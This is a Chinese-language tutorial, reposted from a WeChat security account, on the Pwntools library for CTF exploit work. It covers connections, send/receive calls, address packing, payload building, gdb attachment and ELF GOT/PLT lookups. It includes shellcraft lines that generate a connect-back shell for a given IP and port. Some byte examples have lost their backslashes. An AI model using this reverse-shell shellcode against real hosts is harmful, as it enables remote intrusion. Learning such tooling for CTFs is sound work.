Pwntools
介绍
Pwntools 是一个专为漏洞利用开发和安全研究设计的 Python 库,尤其在 CTF 竞赛中保持着广泛的应用。它以直观简洁的接口和丰富的功能而著称,帮助开发者高效、便捷地与目标系统或服务进行交互,迅速构建漏洞利用脚本。极大地提升了开发效率,加快了问题解决的进程。
使用Pwntools
在py文件导入
from pwn import *
设置基本信息:
设置靶机的基本信息,因为pwntools运行依赖于指定的架构类型
指定文件架构
文件架构为32位,如果要指定为64位的只需要把i386改成amd64即可。
context.arch = "i386"
指定文件的系统类型
context.os = "Linux"
开启Debug调试
当设置为Debug模式时,系统会开启调试功能,此时将详细输出发送的信息以及目标机器的回复内容。
context.log_level = True
简化方式:
context(os="Linux", arch="i386", log_level=True)
创建本地进程调试:
远程连接之前,在本地先进行测试,可以在本地运行文件。
"./xxx" 表示当前目录下的 xxx 文件
use_process_conn = process("./xxx")
连接远程目标机器:
可以通过 remote 函数或 ssh 模块来实现连接远程机器,具体方法取决于目标机器的访问方式。
remote 函数
如果目标远程主机是通过特定的 IP 地址和端口来提供服务的,那么可以使用 remote 函数。
use_remote_conn = remote("目标IP",目标端口)
ssh模块
如果通过SSH的方式来登录远程主机,那么可以使用ssh模块。
use_ssh_conn = ssh(user=root, host="目标IP", password="qwe123", port=22)
发送payload或字符串:
常用的发送函数有 send、sendline、sendafter、sendlineafter 等,各自适用于不同的应用场景。
send函数
用于发送数据,且不会自动添加换行符。
conn.send(b"Hello World!")
sendline函数
同样用于发送数据,但会在数据末尾自动附加一个换行符(n)。
conn.sendline(b"Hello World!")
sendafter函数
会先等待目标返回指定的字符串(如提示符),然后再发送数据,且不附加换行符。
conn.sendafter(b"Enter your name: ", b"MyName")
sendlineafter 函数
函数的工作机制与 sendafter 类似,也是先等待目标返回指定的字符串,但发送数据时会自动附加换行符。
conn.sendlineafter(b"Password: ", b"123456")
接收信息
既然可以发送,那就可以接收,常用的接收函数有,recv、recvline、 recvuntil、recvall等。
recv函数
用于接收指定字节数的数据
data = conn.recv(1024)
recvline函数
接收一行数据,直至遇到换行符 n 为止。
line = conn.recvline()
recvuntil函数
接收数据,直到遇到指定的字节串。
data = conn.recvuntil(b"End of message")
recvall函数
用于接收所有剩余的数据,直至连接关闭。
all_data = conn.recvall()
交互模式
interactive函数
用于启动交互模式,能够与目标系统或服务进行实时的双向通信。
conn.interactive()
构造发送地址类型:
使用p32、u32,p64、u64构造地址
p32
用于构造 32 位 地址(适用于 32 位程序)
将整数 0xfaceb00c 转换为 32 位字节流(小端字节序)
p32(0xdeadbeef)=>'xefxbexadxde'
u32
将字节流转换回 32 位整数,采用小端字节序。
将字节流 'x0cxb0xcexfa' 还原为 32 位整数
u32('xefxbexadxde')=> 0xdeadbeef
p64
用于构造 64 位 地址(适用于 64 位程序)
将整数 0xfaceb00c 转换为 64 位字节流(小端字节序)
p64(0xdeadbeef)=>'xefxbexadxdex00x00x00x00'
u64
将字节流转换回 64 位整数,采用小端字节序。
将字节流 'x0cxb0xcexfax00x00x00x00' 还原为 64 位整数
u64('xefxbexadxdex00x00x00x00')=>0xdeadbeef
flat 构造多个地址
flat 是 Pwntools 中一个非常方便的函数,它能够将多个值拼接成一个字节流。可以用来拼接多个地址或不同的 Payload 元素。
payload = flat([p32(0x08048430), p32(0x08048440), p32(0x08048450)])
发送 Payload
conn.sendline(payload)
生成shellcode后门:
Shellcraft默认生成的是 32 位的 shellcode。在生成 shellcode 时,需要指定文件的架构。
使用shellcraft生成shellcode
shellcode = asm(shellcraft.sh())
32 位shellcode,并转换为机器码
shellcode = shellcraft.i386.connect(ip, port)shellcode += shellcraft.i386.shellcode()print(asm(shellcode))
64 位shellcode,并转换为机器码
shellcode = shellcraft.amd64.connect(ip, port)shellcode += shellcraft.amd64.shellcode()print(asm(shellcode))
运行时调用gdb调试
使用 gdb.attach() 函数,可以将 GDB 附加到已经运行的进程。
pid = conn.pidgdb.attach(pid, ''' break main continue ''')
ELF模块:
可以利用这个模块迅速获取 pwn 文件的 GOT(Global Offset Table,全局偏移表)地址和 PLT(Procedure Linkage Table,过程链接表)地址,这些信息对于分析用于获取 ELF(Executable and Linkable Format,可执行与可链接格式)文件的信息。首先,通过 ELF() 函数获取目标文件的句柄,随后利用这个句柄调用相关函数,这与使用 IO 模块的方式相似。
例子
获取 ELF 文件的基地址;根据符号名称获取函数的地址;获取函数的 GOT 地址;获取函数的 PLT 地址;和LibcSearcher库联动使用
elf = ELF('./pwn')elf.address # 文件装载的基地址 => 0x400000main_addr = elf.symbols['main'] # 获取函数地址 => 0x401680write_got = elf.got['write'] # 获取对应函数在GOT表的地址 => 0x60b070write_plt = elf.plt['write'] # 获取对应函数在PLT表的地址 => 0x401680
参考文章
https://www.cnblogs.com/XiDP0/p/18445564
红队全栈教学
可在公众号回复“红队”获取群链接
OSCP+
原文始发于微信公众号(泷羽Sec-Ceo):Pwntools工具
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论